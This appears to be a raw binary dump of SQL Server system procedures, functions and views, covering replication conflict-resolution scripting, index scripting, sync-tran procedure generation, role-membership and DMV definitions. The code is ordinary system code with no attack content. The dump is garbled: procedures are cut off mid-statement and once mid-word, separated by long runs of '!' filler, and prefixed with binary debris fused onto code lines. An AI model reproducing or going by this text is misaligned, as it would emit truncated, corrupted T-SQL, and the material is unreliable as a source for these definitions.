			,@cmd nvarchar(4000)
			,@artid int
			,@pubid int
			,@qualname nvarchar(517)
			,@fhasnonpkuniquekeys int

	--
	-- initialize the vars we will use
	--
	select @pubid = pubid 
	from syspublications 
	where name = @publication
	select @artid = artid
	from sysarticles 
	where name = @article 
		and pubid = @pubid
	exec sp_MSget_qualified_name @objid, @qualname OUTPUT
	--
	--  check if this article has non PK unique keys
	--
	exec @fhasnonpkuniquekeys = sp_repltablehasnonpkuniquekey @tabid = @objid
	--
	-- start scripting
	--
	select @cmd = N'
	'+N'--
	'+N'-- --------------------------------------------------------------------
	'+N'-- This is the crux of the proc for conflict resolution 
	'+N'-- This code block is essentially a state machine
	'+N'-- where we ascertain the state of resolution
	'+N'-- The actions of this resolution varies for the policy
	'+N'-- The comments for each state outline the policy
	'+N'-- specific actions 
	'+N'-- --------------------------------------------------------------------
	'+N'--
	'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- continue scripting
	--
	select @cmd = N'
	if (@execution_mode in (@QPubWins, @QSubWins))
	begin
		'+N'--
		'+N'-- initialize the conflict case
		'+N'--
		select @cftcase = 0

		if (@rowcount = 0)
		begin
			'+N'--
			'+N'-- row was deleted or updated
			'+N'--'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- script row exists with OLD_PK
	--
	select @cmd = N'
			if exists (select * from ' + @qualname 
	insert into #proctext(procedure_text) values( @cmd )
	exec sp_MSscript_where_clause @objid, @artid, 'upd version', NULL, 0
	insert into #proctext(procedure_text) values( N'			)')
	--
	-- continue scripting
	--
	select @cmd = N'
			begin
				'+N'--
				'+N'-- Case 31: Conflict as row was updated
				'+N'-- PubWins -----------------------------------------------------------
				'+N'-- generate delete + insert compensating action with values for all unique keys 
				'+N'-- SubWins -----------------------------------------------------------
				'+N'-- delete row with PK
				'+N'--
				select @cftcase = 31
			end'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- continue scripting
	--
	select @cmd = N'
			else
			begin
				'+N'--
				'+N'-- Case 33: Conflict as row does not exist
				'+N'-- PubWins -----------------------------------------------------------
				'+N'-- do nothing
				'+N'-- SubWins -----------------------------------------------------------
				'+N'-- do nothing
				'+N'--
				select @cftcase = 33
			end
		end'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- continue scripting
	--
	select @cmd = N'
		else if (@execution_mode = @QPubWins)
		begin
			'+N'--
			'+N'-- we had no conflict for this command
			'+N'-- We need to process this block only in the Publisher Wins cases
			'+N'--

			'+N'--
			'+N'-- case 30: No conflict - we have to undo the delete
			'+N'-- PubWins -----------------------------------------------------------
			'+N'-- generate delete + insert compensating action with values for all unique keys 
			'+N'-- 
			select @cftcase = 30
		end	
	end'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- continue scripting
	--
	select @cmd = N'

	'+N'--
	'+N'-- --------------------------------------------------------------------
	'+N'-- Now the generation phase
	'+N'-- Use the conflict case value to decide what to do
	'+N'-- --------------------------------------------------------------------
	'+N'--'
	insert into #proctext(procedure_text) values( @cmd )
	--
	-- all done
	--
	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`si<ga0O@ (8create procedure sys.sp_MSreplcheck_publish_withddladmin 
as
begin
    --
    -- Do the sysadmin check first as it is 4 times more efficient
    -- than is_member call and reduces performance overhead in case 
    -- the user has sysadmin privileges
    --
    if    is_srvrolemember('sysadmin') = 1 or
        is_member ('db_owner') = 1 or
        is_member ('db_ddladmin') = 1
    begin
        return (0)
    end
    else
    begin
        raiserror (21551, 14, -1)
        return (1)
    end
end
0 8
--
-- Name:    
--          sp_IHscriptindexes
--          
-- Description: 
--          Script indexes
--  
-- Inputs:
--			@article_id		== article id
--			@useAlterTable	== 0 - Use constraint syntax (create table) - UNIQUE indexes/constraints only
--							   1 - Use ALTER TABLE syntax
--			@useUnique		== 0 - Filter out UNIQUE constraints/indexes
--							   1 - Include UNIQUE constraints/indexes
-- Security: 
--          Internal (used by script generation)
--
-- Returns:
--          Success or failure
--			Temp table (#proctext) with commands
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_IHscriptindexes
(
	@article_id		int,
	@useAlterTable	bit = 1,
	@useUnique		bit = 0
)
AS
BEGIN
	declare @retcode				int
	declare @cmd          			nvarchar(4000)
	declare @dest_owner				nvarchar(255)
	declare @dest_tabname			sysname
	declare @src_tabname			sysname
	declare @constraint_name		sysname
	declare @unq_constraint_name	sysname
	declare @idx_type				sysname
	declare @spacer       			nvarchar(1)
	declare @colname      			sysname
	declare @unique       			nvarchar(10)
	declare @cmd_sep      			nvarchar(10)
	declare @idx_count				int

	SET @retcode = 0
	
	-- Check options
	-- If scripting as a CONSTRAINT, UNIQUE must be
	-- allowed or no work to do
	IF (@useAlterTable = 0 AND @useUnique = 0)
	BEGIN
		SET @retcode = 1
		GOTO FINISHIDX
	END
	
	-- Get article info
	select	@dest_owner		= iha.dest_owner,
			@dest_tabname	= iha.dest_table,
			@src_tabname	= ihpt.name
	from	IHarticles iha,
			IHpublishertables ihpt
	where	article_id = @article_id
	
	if @dest_owner is not null
	begin
	    select @dest_owner = QUOTENAME(@dest_owner) + N'.'
	end
	else
	begin
	    select @dest_owner = N''
	end
	
	-- Pre-load the index counter based on primary key
	SELECT	@idx_count = COUNT(*)
	FROM	IHpublisherconstraints ihpc,
			IHarticles iha
	WHERE	ihpc.publisher_id	= iha.publisher_id
	  AND	ihpc.table_id		= iha.table_id
	  AND	iha.article_id		= @article_id
	
	-- Get indexes
	DECLARE hIdx CURSOR LOCAL FAST_FORWARD FOR
	select distinct
			ihpi.name,
			ihpi.name,
			ihpi.type
	from	IHpublisherindexes ihpi, IHarticles iha
	where	ihpi.publisher_id = iha.publisher_id
	  and	ihpi.table_id = iha.table_id
	  and	iha.article_id = @article_id

	OPEN	hIdx
	FETCH	hIdx
	INTO	@constraint_name,
			@unq_constraint_name,
			@idx_type

	WHILE (@@fetch_status <> -1)
	BEGIN
		-- Increment index counter
		set @idx_count = @idx_count + 1

		-- Check if index limit exceeded
		-- It doesn't matter if the indexes are UNIQUE keys
		-- or straight indexes - this should catch them either
		-- way.  It uses all the visited indexes in the counter.
		-- If the sum of unique keys + indexes > 256, must bail.
		-- It will also exit in the same place each time.
		IF @idx_count > 256
		BEGIN
			SET @retcode = 1
			RAISERROR(21675, 10, 1, 256, @idx_count)
			GOTO FINISHIDX
		END

		IF @useAlterTable = 1
		BEGIN
			-- Put command separator (if any) into buffer	
			select @cmd_sep = N'GO'
		END

		-- Determine index uniqueness
		if @idx_type = 'UNIQUE'
		begin
			select @unique = N'UNIQUE'
		end
		else
		begin
			select @unique = N''
		end
			
		-- Check if UNIQUE indexes should be included
		IF ((@useUnique = 0 AND @idx_type = 'UNIQUE')
			OR (@useAlterTable = 0 AND @idx_type != 'UNIQUE'))
		BEGIN
			-- Go to next index
			FETCH	hIdx
			INTO	@constraint_name,
					@unq_constraint_name,
					@idx_type

			CONTINUE
		END
			
		-- Verify index can be scripted
		exec @retcode = sys.sp_IHVerifyIndex
						@article_id		= @article_id,
						@index_name		= @constraint_name

		IF @retcode = 0 AND @@ERROR = 0
		BEGIN
			-- Generate unique constraint name
			SELECT @unq_constraint_name = sys.fn_IHGenerateUniqueName(@article_id, N'IDX', @idx_count)
		
			-- Create the index creation command
			IF @useAlterTable = 1
			BEGIN
				SELECT	@cmd =	N'CREATE ' + @unique
								+ N' INDEX '
								+ QUOTENAME(@unq_constraint_name)
								+ N' ON '
								+ @dest_owner
								+ QUOTENAME(@dest_tabname)
								+ N'('
			END
			ELSE
			BEGIN
				-- Use constraint syntax for UNIQUE indexes only!
				SELECT	@cmd =	N'CONSTRAINT '
								+ QUOTENAME(@unq_constraint_name) + ' '
								+ @unique + N' ('
			END

			insert into #proctext(procedure_text)
			values (@cmd)

			-- Get index column list
			DECLARE hArtCol CURSOR LOCAL FAST_FORWARD FOR 
			SELECT	ihc.name
			FROM	IHcolumns ihc,
					IHpublishercolumns ihpc,
					IHpublishercolumnindexes ihpci,
					IHpublisherindexes ihpi,
					IHarticles iha
			WHERE	ihpi.publisher_id		= iha.publisher_id
			  AND	ihpi.table_id			= iha.table_id
			  AND	ihc.publishercolumn_id	= ihpc.publishercolumn_id
			  AND	ihpc.publishercolumn_id = ihpci.publishercolumn_id
			  AND	ihpi.publisherindex_id	= ihpci.publisherindex_id
			  AND	iha.article_id			= ihc.article_id
			  AND	iha.article_id			= @article_id
			  AND	ihpi.name				= @constraint_name
			ORDER BY ihpci.indid asc
		
			OPEN	hArtCol
			FETCH	hArtCol
			INTO 	@colname
		
			-- Create column list	
			select	@spacer = N' ',
					@cmd = N''
			
			WHILE (@@fetch_status <> -1)
			begin
				select @cmd = @cmd + @spacer + QUOTENAME(@colname)
				select @spacer = N','
			
				if len(@cmd) > 3000
				begin
					insert into #proctext(procedure_text) values(@cmd)
					select @cmd = N''
				end
		
				FETCH	hArtCol
				INTO 	@colname
			end
			
			CLOSE hArtCol
			DEALLOCATE hArtCol

			insert into #proctext(procedure_text) values( @cmd )
			insert into #proctext(procedure_text) values( N')' )
			
			IF @useAlterTable = 1
			BEGIN
				-- Write command separator
				insert into #proctext(procedure_text) values (@cmd_sep)
			END
			ELSE
			BEGIN
				-- Write ',' to separate commands
				insert into #proctext(procedure_text) values (',')
			END
		END
	    
		FETCH	hIdx
		INTO	@constraint_name,
				@unq_constraint_name,
				@idx_type
	END

FINISHIDX:	
	CLOSE hIdx
	DEALLOCATE hIdx

	IF @useAlterTable = 0
	BEGIN
		DECLARE @proctext nvarchar(4000)
		
		-- Replace trailing ',' with ')'
		SELECT	@proctext = procedure_text
		FROM	#proctext
		WHERE	seq = IDENT_CURRENT('#proctext')
		
		IF RIGHT(@proctext, 1) = ','
		BEGIN
			UPDATE	#proctext
			SET		procedure_text = LEFT(procedure_text, LEN(procedure_text) - 1) + N')'
			WHERE 	seq = IDENT_CURRENT('#proctext')
		END
	END
	
	RETURN (@retcode)
END
olution block for Subscriber Wins case
            --
            exec sys.sp_MSscript_delete_subwins @publication, @article, @source_objid, @artid
        end
        --
        -- script closing 
        --
        exec sys.sp_MSscript_endproc @source_objid, 'del', @artid, @outvars, @queued_pub
    end
    else
    begin
        --
        -- Generate error command and finish
        --
        insert into #proctext(procedure_text) values( N'
    exec sys.sp_MSreplraiserror 20516
END
')
    end
    --
    -- send fragments to client
    --
    select procedure_text from #proctext order by c1 asc
    --
    -- all done
    --
    return 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!
`<@K%|0g 8CREATE VIEW sys.dm_db_index_usage_stats AS
	SELECT database_id, object_id, index_id, 
		user_seeks, user_scans, user_lookups, user_updates, 
		last_user_seek, last_user_scan, last_user_lookup, last_user_update,
		system_seeks, system_scans, system_lookups, system_updates, 
		last_system_seek, last_system_scan, last_system_lookup, last_system_update
		FROM OpenRowSet(TABLE LOGINDEXSTATS)
	WHERE status = 0
0+Q 8create function sys.dm_db_index_physical_stats
(
	@DatabaseId			SMALLINT		= 0,
	@ObjectId  			INT 			= 0,
	@IndexId 			INT 			= -1,
	@PartitionNumber	INT				= 0,
	@Mode	 			nvarchar(20)  	= NULL
)
returns table
as
	return select *
       	from OpenRowset
		(	TABLE
			INDEXANALYSIS,
			@DatabaseId,
			@ObjectId,
			@IndexId,
			@PartitionNumber,
			@Mode
		)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!! `l<PK)?v'0+ N8create procedure sys.sp_MSgen_sync_tran_procs 
(
    @publication sysname,        -- table name 
    @article sysname,
    @ins_proc sysname,
    @upd_proc sysname,
    @del_proc sysname,
    @upd_trig sysname, 
    @alter bit = 0 -- if 1 alter, else create
)
as
begin
    set nocount on

    declare @cmd nvarchar(4000)
            ,@procname nvarchar(517)
            ,@dbname sysname
            ,@objid int
            ,@owner sysname
            ,@retcode int

    select @owner = schema_name(o.schema_id) 
            ,@objid = o.object_id
    from sys.objects o , sysarticles a where o.object_id=a.objid and a.name=@article
    --
    -- We are now going to create procs, so start a save point
    --
    begin tran
    save tran gen_procs
    --
    -- Call out to individual create proc routines for creating sync tran procedures for insert, update and delete commands
    --
    select @dbname = db_name()
            ,@cmd = N'exec sys.sp_MSscript_sync_ins_proc N''' + sys.fn_replreplacesinglequote(@publication) collate database_default + 
                N''', N''' + sys.fn_replreplacesinglequote(@article) collate database_default  + 
                N''', N''' + sys.fn_replreplacesinglequote(@ins_proc) collate database_default + 
                N''', ' + cast (@alter as char(1)) 
    exec @retcode = sys.xp_execresultset @cmd, @dbname
    if (@@error != 0 or @retcode != 0)
        goto UNDO

    select @cmd = N'exec sys.sp_MSscript_sync_upd_proc N''' + sys.fn_replreplacesinglequote(@publication) collate database_default + 
                N''', N''' + sys.fn_replreplacesinglequote(@article) collate database_default + 
                N''', N''' + sys.fn_replreplacesinglequote(@upd_proc) collate database_default + 
                N''', ' + cast (@alter as char(1)) 
    exec @retcode = sys.xp_execresultset @cmd, @dbname
    if (@@error != 0 or @retcode != 0)
        goto UNDO

    select @cmd = N'exec sys.sp_MSscript_sync_del_proc N''' + sys.fn_replreplacesinglequote(@publication) collate database_default + 
                N''', N''' + sys.fn_replreplacesinglequote(@article) collate database_default  + 
                N''', N''' + sys.fn_replreplacesinglequote(@del_proc) collate database_default + 
                N''', ' + cast (@alter as char(1)) 
    exec @retcode = sys.xp_execresultset @cmd, @dbname
    if (@@error != 0 or @retcode != 0)
        goto UNDO
    --
    -- create the trigger on publisher to track row version updates
    --
    select @cmd = N'exec sys.sp_MSscript_pub_upd_trig N''' + sys.fn_replreplacesinglequote(@publication) collate database_default + 
                N''', N''' + sys.fn_replreplacesinglequote(@article) collate database_default  + 
                N''', N''' + sys.fn_replreplacesinglequote(@upd_trig) collate database_default + 
            N''', ' + cast (@alter as char(1)) 
    exec @retcode = sys.xp_execresultset @cmd, @dbname
    if (@@error != 0 or @retcode != 0)
        goto UNDO
    --
    -- Grant permissions
    --
    select @cmd = 'grant exec on ' + quotename(@owner) + '.' + quotename(@ins_proc) + ' to public'
    exec (@cmd)
    if (@@error != 0)
        goto UNDO
    select @cmd = 'grant exec on ' + quotename(@owner) + '.' + quotename(@upd_proc) + ' to public'
    exec (@cmd)
    if (@@error != 0)
        goto UNDO
    select @cmd = 'grant exec on ' + quotename(@owner) + '.' + quotename(@del_proc) + ' to public'
    exec (@cmd)
    if (@@error != 0)
        goto UNDO
    --
    -- Mark procedures as system procs so they don't show up in the UI
    --
    if @owner in ('dbo','INFORMATION_SCHEMA')
    begin
        select @procname = quotename(@owner) + '.' + quotename(@ins_proc)
        exec @retcode = dbo.sp_MS_marksystemobject @procname
        if (@@error != 0 or @retcode != 0)
            goto UNDO
        select @procname = quotename(@owner) + '.' + quotename(@upd_proc)
        exec @retcode = dbo.sp_MS_marksystemobject @procname
        if (@@error != 0 or @retcode != 0)
            goto UNDO
        select @procname = quotename(@owner) + '.' + quotename(@del_proc)
        exec @retcode = dbo.sp_MS_marksystemobject @procname
        if (@@error != 0 or @retcode != 0)
            goto UNDO
        select @procname = quotename(@owner) + '.' + quotename(@upd_trig)
        exec @retcode = dbo.sp_MS_marksystemobject @procname
        if (@@error != 0 or @retcode != 0)
            goto UNDO
    end
    --
    -- Set the trigger order for the synctran update trigger if no ordering 
    -- has been set by another synctran trigger on the same table
    --
    if not exists (select * from sys.objects 
                        where parent_object_id = @objid 
                            and type='TR' 
                            and name like N'sp_MSsync_upd_trig%'
                            and ObjectProperty(object_id, 'ExecIsfirstupdateTrigger') = 1)
    begin
        select @procname = quotename(@owner) + '.' + quotename(@upd_trig)
        exec sys.sp_settriggerorder @procname,'first','update'
    end

    /*
    ** NOTE: Enabling for Republishing
    ** 
    ** sp_MSmark_proc_norepl 
    ** 
    ** this proc does two things:
    ** 1. It allows the identity ranges to work without reseeding
    ** 2. It represses firing of underlying synctran triggers on any data updates that 
    ** are done inside the marked procedure (this blocks republishing of updating subscriber)
    ** 
    ** Need to discuss with Server team to differentiate these
    ** two behaviors so that we can support republishing updating subscribers
    ** as well as identity updates
    **
    ** For now to unblock current functionality - if a table has identity column - 
    ** we will not support republishing.
    **
    */
    if exists (select * from sys.columns where object_id = @objid and
               ColumnProperty(object_id, name, 'IsIdNotForRepl') = 1)
    begin
        --
        -- at least one column has IDENTITY property
        -- disable republishing
        --
        select @procname = quotename(@owner) + '.' + quotename(@ins_proc)
        exec @retcode = sys.sp_MSmark_proc_norepl @procname
        if (@@error != 0 or @retcode != 0)
            goto UNDO
        select @procname = quotename(@owner) + '.' + quotename(@upd_proc)
        exec @retcode = sys.sp_MSmark_proc_norepl @procname
        if (@@error != 0 or @retcode != 0)
            goto UNDO
        select @procname = quotename(@owner) + '.' + quotename(@del_proc)
        exec @retcode = sys.sp_MSmark_proc_norepl @procname
        if (@@error != 0 or @retcode != 0)
            goto UNDO
    end
    --
    -- all done
    -- Commit tran
    --
    commit tran
    return 0
    --
    -- error processing
    --
UNDO:
    rollback tran gen_procs
    commit tran
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<@nL%DL/09 8-- FOR BACKWARD COMPATIBILTY ONLY --
create procedure sys.sp_dropsrvrolemember
    @loginame sysname,			-- login name
    @rolename sysname = NULL	-- server role name
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @ret        int,    -- return value of sp call
			@stmtR		nvarchar(4000)

    -- Was a part of check to prevent inside a user Xact. Leave for backward compat.--
	set implicit_transactions off

	exec @ret = sys.sp_validname @rolename
	if @ret <> 0
		return(1)

	exec @ret = sys.sp_validname @loginame
	if @ret <> 0
		return(1)

	set @stmtR = 'alter server role '
	set @stmtR = @stmtR + quotename(@rolename, ']')
	set @stmtR = @stmtR + ' drop member '
	set @stmtR = @stmtR + quotename(@loginame, ']')

    -- issue DDL to create the role --
	exec (@stmtR)	
	if @@error <> 0
    begin
	    return (1)
    end

    -- RETURN SUCCESS --
	return (0) -- sp_dropsrvrolemember
0֩ 8 
-- add it
create view sys.dm_pdw_nodes_os_latch_stats as
select *, convert(int, null) pdw_node_id from sys.dm_os_latch_stats
06! H8CREATE VIEW sys.dm_hadr_internal_availability_replica_states AS
	SELECT
		replica_id = IntArStates.replica_id,
		group_id = IntArStates.group_id,
		is_local = IntArStates.is_local,
		role = IntArStates.role,
		role_desc = CASE
			WHEN (role = 0) THEN CAST ('RESOLVING' as nvarchar(60))
			WHEN (role = 1) THEN CAST ('PRIMARY' as nvarchar(60))
			WHEN (role = 2) THEN CAST ('SECONDARY' as nvarchar(60))
			WHEN (role = 3) THEN CAST ('INVALID' as nvarchar(60))
			ELSE CAST (NULL AS nvarchar(60)) END,
		operational_state,
		operational_state_desc = CASE
			WHEN (operational_state = 0) THEN CAST ('PENDING_FAILOVER' AS nvarchar(60))
			WHEN (operational_state = 1) THEN CAST ('PENDING' AS nvarchar(60))
			WHEN (operational_state = 2) THEN CAST ('ONLINE' AS nvarchar(60))
			WHEN (operational_state = 3) THEN CAST ('OFFLINE' AS nvarchar(60))
			WHEN (operational_state = 4) THEN CAST ('FAILED' AS nvarchar(60))
			WHEN (operational_state = 5) THEN CAST ('FAILED_NO_QUORUM' AS nvarchar(60))
			WHEN (operational_state = 6) THEN CAST ('INVALID' AS nvarchar(60))
			ELSE CAST (NULL AS nvarchar(60)) END,
		connected_state,
		connected_state_desc = CASE 
			WHEN (connected_state = 0) THEN CAST ('DISCONNECTED' AS nvarchar(60))
			WHEN (connected_state = 1) THEN CAST ('CONNECTED' AS nvarchar(60))
			ELSE CAST (NULL AS nvarchar(60)) END,
		last_connect_error_number,
		last_connect_error_description,
		last_connect_error_timestamp,
		configured_database_count
	FROM
		OpenRowset(TABLE DM_HADR_INTERNAL_AVAILABILITY_REPLICA_STATES) AS IntArStates
0
6@ 8
create procedure sys.sp_replsync (
    @publisher sysname,    
    @publisher_db sysname,        
    @publication sysname,    
    @article sysname = '%' 
    ) AS

    SET NOCOUNT ON
    RAISERROR (21023, 16, -1,'sp_replsync')
    RETURN(1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!6`<unL)>j0~K 8create function sys.fn_gettypestring 
(
    @tabid int
    ,@colid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@userdefinedtypestobasetypes bit=0
    ,@xmltontext bit=0
    ,@maxtypestomatchingnonmaxtypes bit=0
    ,@maptimestamp bit = 1
    ,@newdatetimetypestostrings bit = 0
    ,@hierarchyidtovarbinarymax bit = 0
    ,@largeuserdefinedtypestovarbinarymax bit = 0
    ,@spatialtypestovarbinarymax bit = 0
)
returns nvarchar(255) 
as
begin
    -- Max length of @typestring should technically be 517 as 
    -- it needs to hold a quoted, schema-qualified and fully escaped type
    -- name ([ + 2 * 128 + ] + . + [ + 2 * 128 + ]
    declare @coltypename nvarchar(258)
                ,@coltypeschema nvarchar(258) 
                ,@coltype  tinyint
                ,@collen   smallint
                ,@colprec  tinyint
                ,@colscale tinyint
                ,@pubtypemssqlserver tinyint
                ,@pubtypeheterogeneous tinyint
                ,@typestring nvarchar(255)
                ,@defaultfractionaltimescale tinyint            

    -- initialize
    select @pubtypemssqlserver = 1
          ,@pubtypeheterogeneous = 2
          ,@defaultfractionaltimescale = 7  

    -- process based on publisher type
    if (@publishertype = @pubtypemssqlserver)
    begin
        -- mssqlserver publisher
        select
		@coltypename = typ.name, 
        @coltypeschema = schema_name(typ.schema_id),
		@coltype = typ.system_type_id, 
	    	@collen = col.max_length, 
		@colprec = col.precision, 
		@colscale = col.scale
	from
		sys.columns col,
		sys.types typ 
	where
		col.object_id = @tabid 
		and col.column_id = @colid
		and (
			--for all non-UDT types, we must get the name of base (physical) type
			--so, find the row in the types table which matches the system_type of the column
			(typ.user_type_id=col.system_type_id)
			or
			--for all UDT types, we just need to get the name of the user type
			(typ.system_type_id = 240 and 
			typ.user_type_id = col.user_type_id)
		)
    end
    else if (@publishertype = @pubtypeheterogeneous)
    begin
        -- heterogeneous publisher
        select	@coltypename = type_name(ihc.mapped_type),
				@coltype = ihc.mapped_type,
				@collen = ihc.mapped_length,
				@colprec = ihc.mapped_prec,
				@colscale = ihc.mapped_scale
        from	IHpublishercolumns ihpc,
        		IHcolumns ihc
		where	ihpc.publishercolumn_id = ihc.publishercolumn_id
           and	ihc.article_id = @tabid
		   and	ihc.column_id = @colid
    end
    else
    begin
        set @typestring = N''
        return @typestring 
    end

	-- prepare the string to return
	if @coltypename in (N'varchar', N'nvarchar', N'varbinary')
		and (@collen = -1) 
	begin
		select @typestring = @coltypename + N'(max)'
	end
	else if @coltypename in (N'char', N'varchar', N'binary', N'varbinary')
	begin
		select @typestring = @coltypename + N'(' + convert(nvarchar,@collen) + N')'
	end
	else if @coltypename in (N'nchar', N'nvarchar' ) and (@publishertype = @pubtypemssqlserver)
	begin
		select @typestring = @coltypename + N'(' + convert(nvarchar,@collen/2) + N')'
	end
	else if @coltypename in (N'nchar', N'nvarchar' ) and (@publishertype = @pubtypeheterogeneous)
	begin
		select @typestring = @coltypename + N'(' + convert(nvarchar,@collen) + N')'
	end
    else if @coltypename in (N'datetime2', N'datetimeoffset', N'time')
    begin
        if @newdatetimetypestostrings = 0
        begin
            select @typestring = @coltypename
            if @colscale <> @defaultfractionaltimescale
            begin
                select @typestring = @typestring + N'(' + convert(nvarchar,@colscale) + N')'
